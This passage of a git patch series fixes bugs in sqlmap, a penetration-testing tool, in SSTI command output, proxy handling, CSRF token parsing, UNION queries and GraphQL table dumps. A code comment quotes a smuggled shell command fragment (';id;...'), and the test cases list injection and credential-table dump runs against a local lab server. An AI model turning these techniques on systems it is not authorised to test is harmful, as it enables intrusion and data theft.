re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I) or re.search(r"\A(?:%s)\Z" % conf.paramExclude, place, re.I)): # Note: place (e.g. 'Cookie') has to be fully matched (e.g. 'ge' must not exclude 'GET') testSqlInj = False infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) diff --git a/lib/core/settings.py b/lib/core/settings.py index 84af1c2d4..e34663ae4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.37" +VERSION = "1.10.11.38" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b85cd4cc15161fd81750689ce3bc093072f675d4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:46:02 +0100 Subject: [PATCH 076/126] Fix for SSTI --os-cmd reporting fabricated output on shell-less engines (e.g. Freemarker) --- lib/core/settings.py | 2 +- lib/techniques/ssti/inject.py | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e34663ae4..6f46a774c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.38" +VERSION = "1.10.11.39" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index 98b3fb8d4..aed7e2fc1 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -1019,7 +1019,9 @@ def _executeCommand(place, parameter, engine, cmd): payload = payloadTemplate.replace("{CMD}", framedCmd) page = getUnicode(_send(place, parameter, original + payload) or "") out = _framedOutput(page, start, end) - if out is not None: + # Note: without a shell (e.g. Java's Runtime.exec) printf recycles its format over the rest of the (unexecuted) command + # line (e.g. ';id;printf%s%s'), "reproducing" both markers by itself - leftover format is the telltale + if out is not None and "%s%s" not in out: conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, out)) return From d4d2d1a315474163a559dbd2ffc7f07fa03f0e9b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:46:39 +0100 Subject: [PATCH 077/126] Fix for --proxy-file without usable entries silently connecting directly --- lib/core/option.py | 5 +++++ lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 5cc7a6dc9..3fdd10c40 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2757,6 +2757,11 @@ def _setProxyList(): _, type_, cred, address, port = match.groups() conf.proxyList.append("%s://%s%s:%s" % (type_ or "http", ("%s@" % cred) if cred else "", address, port)) + # Note: otherwise sqlmap would silently connect directly (i.e. without any proxy) + if not conf.proxyList: + errMsg = "no usable proxy entries found in proxy list file '%s' (expected format e.g. 'http://127.0.0.1:8080')" % conf.proxyFile + raise SqlmapSyntaxException(errMsg) + def _setTorProxySettings(): if not conf.tor: return diff --git a/lib/core/settings.py b/lib/core/settings.py index 6f46a774c..8401df549 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.39" +VERSION = "1.10.11.40" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f1c718c01c3d85f9ac90116f94e396a1ee0ceca2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:48:17 +0100 Subject: [PATCH 078/126] Fix for --oob-token being sent to public OOB servers --- lib/core/settings.py | 2 +- lib/request/interactsh.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8401df549..1d041feef 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.40" +VERSION = "1.10.11.41" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py index 3c1856ace..f7faa5bc4 100644 --- a/lib/request/interactsh.py +++ b/lib/request/interactsh.py @@ -49,6 +49,11 @@ class Interactsh(object): def __init__(self, server=None, token=None): self.server = None self.token = token or conf.get("oobToken") + + # Note: (private) token belongs only to an explicitly provided server (i.e. never to be sent to a public one) + if self.token and not server: + logger.warning("OOB token is used only with an explicitly provided OOB server (option '--oob-server')") + self.token = None self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True) self.secret = randomStr(32, lowercase=True) self.registered = False From 3ab05cade08bda458a93f415cfbd8658678ba609 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:50:11 +0100 Subject: [PATCH 079/126] Fix for anti-CSRF tokens in JSON (spaced), header names with dashes and header values with special chars --- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- lib/request/connect.py | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1d041feef..cf1563953 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.41" +VERSION = "1.10.11.42" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 56520f672..b5afa1a08 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -457,7 +457,7 @@ def _setRequestParams(): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, "%s %s" % (conf.data or "", conf.parameters.get(PLACE.GET) or "")) and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, "%s %s" % (conf.data or "", conf.parameters.get(PLACE.GET) or "")) and not any(re.search(r"\A%s\Z" % conf.csrfToken, _[0], re.I) for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) diff --git a/lib/request/connect.py b/lib/request/connect.py index a909a3ab3..832fc543c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1422,10 +1422,10 @@ class Connect(object): match = re.search(r"(?i)]+\bvalue=[\"']?(?P[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P%s)\b" % conf.csrfToken, page or "", re.I) if not match: - match = re.search(r"(?P%s)[\"']:[\"'](?P[^\"']+)" % conf.csrfToken, page or "", re.I) + match = re.search(r"(?P%s)[\"']\s*:\s*[\"'](?P[^\"']+)" % conf.csrfToken, page or "", re.I) if not match: - match = re.search(r"\b(?P%s)\s*[:=]\s*(?P\w+)" % conf.csrfToken, getUnicode(headers), re.I) + match = re.search(r"\b(?P%s)\s*[:=]\s*(?P[^\s;,]+)" % conf.csrfToken, getUnicode(headers), re.I) if not match: match = re.search(r"\b(?P%s)\s*=\s*['\"]?(?P[^;'\"]+)" % conf.csrfToken, page or "", re.I) From 057e614500249e64774e8947fc0b929757f9dc85 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:51:29 +0100 Subject: [PATCH 080/126] Fix for --safe-url carrying injected cookie payload and --safe-req getting target's GET parameters --- lib/core/settings.py | 2 +- lib/request/connect.py | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index cf1563953..01a3a060c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.42" +VERSION = "1.10.11.43" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 832fc543c..101bfa700 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1695,10 +1695,11 @@ class Connect(object): if (conf.safeFreq or 0) > 0 and not buildOnly: kb.queryCounter += 1 if kb.queryCounter % conf.safeFreq == 0: + # Note: "safe" visit must not carry the payload (e.g. in case of Cookie injection) if conf.safeUrl: - Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) + Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=conf.parameters.get(PLACE.COOKIE) if place == PLACE.COOKIE else cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) elif kb.safeReq: - Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers) + Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers, direct=True) # When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector # is in place before any payload is built), a boolean comparison is answered by relative HTTP/2 From 4df83fe7375ef00ea56238c8ef00efd5e5c4467d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:53:41 +0100 Subject: [PATCH 081/126] Fix for user's LIMIT being ignored by UNION JSON aggregation (e.g. --sql-query) --- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 01a3a060c..f870b537f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.43" +VERSION = "1.10.11.44" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index bbdbe681d..0a413884a 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -353,8 +353,11 @@ def unionUse(expression, unpack=True, dump=False): debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) + # Note: (outer) LIMIT/OFFSET/FETCH would apply to the single aggregated row (i.e. being ignored), while Microsoft SQL Server's FOR JSON wraps the whole statement + limited = not Backend.isDbms(DBMS.MSSQL) and any(zeroDepthSearch(expression.upper(), _) for _ in (" LIMIT ", " OFFSET ", " FETCH ")) + # Note: Oracle, PostgreSQL, Microsoft SQL Server and SQLite aggregate the raw (not hex-converted) fields, while parseUnionPage() decodes them all in case of '--hex' - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.disableJson)) and not (conf.hexConvert and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE)): + if not limited and Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.disableJson)) and not (conf.hexConvert and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): kb.jsonAggMode = True From 76351cdbd5f655f8730f16ee90055230e4eca6f6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:56:44 +0100 Subject: [PATCH 082/126] Fix for --common-columns false positives (columns of injected query's table) --- lib/core/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f870b537f..e65dd3d78 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.44" +VERSION = "1.10.11.45" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -849,7 +849,7 @@ PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)" BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)" # Template used for common column existence check -BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)" +BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT t.%s FROM %s t)" # Note: qualified, otherwise an unknown column would resolve to the (outer) injected query's table # Data inside shellcodeexec to be filled with random string SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" From 563066e4f55df258bf1832d5e2ccbb6c8aa030e5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:56:44 +0100 Subject: [PATCH 083/126] Fix for --common-tables/--common-columns false positive on oracle string words --- lib/core/settings.py | 2 +- lib/utils/brute.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e65dd3d78..0d94c655b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.45" +VERSION = "1.10.11.46" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/brute.py b/lib/utils/brute.py index eb619fba0..f37dcaf89 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -55,7 +55,8 @@ def _addPageTextWords(): for word in pageWords: word = word.lower() - if len(word) > 2 and not word[0].isdigit() and word not in wordsList: + # Note: words of the (boolean) oracle string would be "found" (e.g. reflected inside an error message) + if len(word) > 2 and not word[0].isdigit() and word not in wordsList and not (conf.string and word in conf.string.lower()): wordsList.append(word) return wordsList From 71907c80fedf59112bc400ca5c25671207720e2b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 15:00:18 +0100 Subject: [PATCH 084/126] Fix for -c configuration values overriding explicit CLI zeros (e.g. --delay 0, -v 0) --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 3fdd10c40..6500bed8c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2652,7 +2652,7 @@ def _mergeOptions(inputOptions, overrideOptions): inputOptionsItems = inputOptions.__dict__.items() for key, value in inputOptionsItems: - if key not in conf or value not in (None, False) or overrideOptions: + if key not in conf or (value is not None and value is not False) or overrideOptions: # Note: explicit zero (e.g. '--delay 0') has to win over the configuration file conf[key] = value if not conf.api: diff --git a/lib/core/settings.py b/lib/core/settings.py index 0d94c655b..7caa61073 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.46" +VERSION = "1.10.11.47" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2530de4c1f4acdd5bda2bf87a36dd5acbbabb1fc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 15:03:20 +0100 Subject: [PATCH 085/126] Fix for -r request files with multiple Cookie headers and HTTP/2 pseudo-headers --- lib/core/common.py | 6 +++++- lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index f05579d7e..cc44162ee 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5793,6 +5793,10 @@ def parseRequestFile(reqFile, checkParams=True): elif "?" in line and "=" in line and ": " not in line: params = True + # HTTP/2 pseudo-headers (e.g. ':authority') + elif line.startswith(':'): + continue + # Headers elif re.search(r"\A\S+:", line): key, value = line.split(":", 1) @@ -5807,7 +5811,7 @@ def parseRequestFile(reqFile, checkParams=True): # Cookie and Host headers if key.upper() == HTTP_HEADER.COOKIE.upper(): - cookie = value + cookie = "%s; %s" % (cookie, value) if cookie else value # Note: (e.g. HTTP/2) cookies can be split into multiple headers elif key.upper() == HTTP_HEADER.HOST.upper(): if '://' in value: scheme, value = value.split('://')[:2] diff --git a/lib/core/settings.py b/lib/core/settings.py index 7caa61073..b714be69f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.47" +VERSION = "1.10.11.48" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ca698bb7ec51f7e4f682323d4e34eb7590c091f6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 16:14:55 +0100 Subject: [PATCH 086/126] Implementing -T for --graphql dumps (and using it in vuln-test to prevent CI timeouts) --- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- lib/techniques/graphql/inject.py | 4 ++++ 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b714be69f..62352e48a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.48" +VERSION = "1.10.11.49" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 2923314c8..b919605bc 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -95,7 +95,7 @@ def vulnTest(tests=None, label="vuln"): ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction - ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"graphql\" --graphql -T creds --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"echo?q=x\" --xslt --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # reflection is not evaluation: a pure echo endpoint must not satisfy any non-SQL engine's oracle ("-u \"echo?q=x\" --xpath --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # same gate for --xpath (it used to confirm XPath injection from reflected text alone) diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index a4576f03c..288ffa0eb 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -1651,6 +1651,10 @@ def _enumerate(oracle): conf.dumper.singleString("GraphQL database tables [%d]:\n%s" % ( len(tables), _grid(["table"], [[_] for _ in tables]))) + # Note: honoring -T (as in case of regular SQL enumeration) + if conf.tbl: + tables = [_ for _ in tables if _.lower() in set(__.lower() for __ in conf.tbl.split(','))] + for table in tables: parsed = _dumpTable(infer, dialect, table) if not parsed: From d646b00ceb48a043a61b2ab2dd671a074c9d1762 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 16:25:24 +0100 Subject: [PATCH 087/126] Fix for --time-limit producing empty --har file --- lib/core/settings.py | 2 +- sqlmap.py | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 62352e48a..5737e0e34 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.49" +VERSION = "1.10.11.50" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index feacbc82c..98446f6dc 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -648,6 +648,9 @@ def main(): except OSError: pass + # Note: --time-limit must not interrupt the final cleanup (e.g. session flush or HAR file writing) + conf.timeLimit = None + if conf.get("hashDB"): conf.hashDB.flush() conf.hashDB.close() # NOTE: because of PyPy From d0fc7512dfe870c1738b966cf3c6e35bd3653e7c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 16:25:57 +0100 Subject: [PATCH 088/126] Fix for -s with non-existent directory (traceback at the end of run) --- lib/core/settings.py | 2 +- lib/core/target.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5737e0e34..3872c0b95 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.50" +VERSION = "1.10.11.51" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index b5afa1a08..0c73e59af 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -486,6 +486,10 @@ def _setHashDB(): if not conf.hashDBFile: conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE) + if conf.sessionFile and not os.path.isdir(os.path.dirname(os.path.abspath(conf.hashDBFile))): + errMsg = "directory of the provided session file '%s' does not exist" % conf.sessionFile + raise SqlmapFilePathException(errMsg) + if conf.flushSession: if os.path.exists(conf.hashDBFile): if conf.hashDB: From ca2e847ef6e798037ec52b7adec458f25a920333 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 16:25:57 +0100 Subject: [PATCH 089/126] Fix for -p Cookie also testing whole Cookie header (in case of --cookie) --- lib/core/settings.py | 2 +- lib/core/target.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3872c0b95..f61af8168 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.51" +VERSION = "1.10.11.52" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 0c73e59af..b11fb96ad 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -438,7 +438,8 @@ def _setRequestParams(): testableParameters = True else: - condition = intersect(conf.testParameter, [httpHeader], True) + # Note: in case of --cookie, its (Cookie) parameters are tested separately (i.e. not the whole header) + condition = intersect(conf.testParameter, [httpHeader], True) and not (conf.cookie and httpHeader.upper() == HTTP_HEADER.COOKIE.upper()) if condition: conf.parameters[PLACE.CUSTOM_HEADER] = 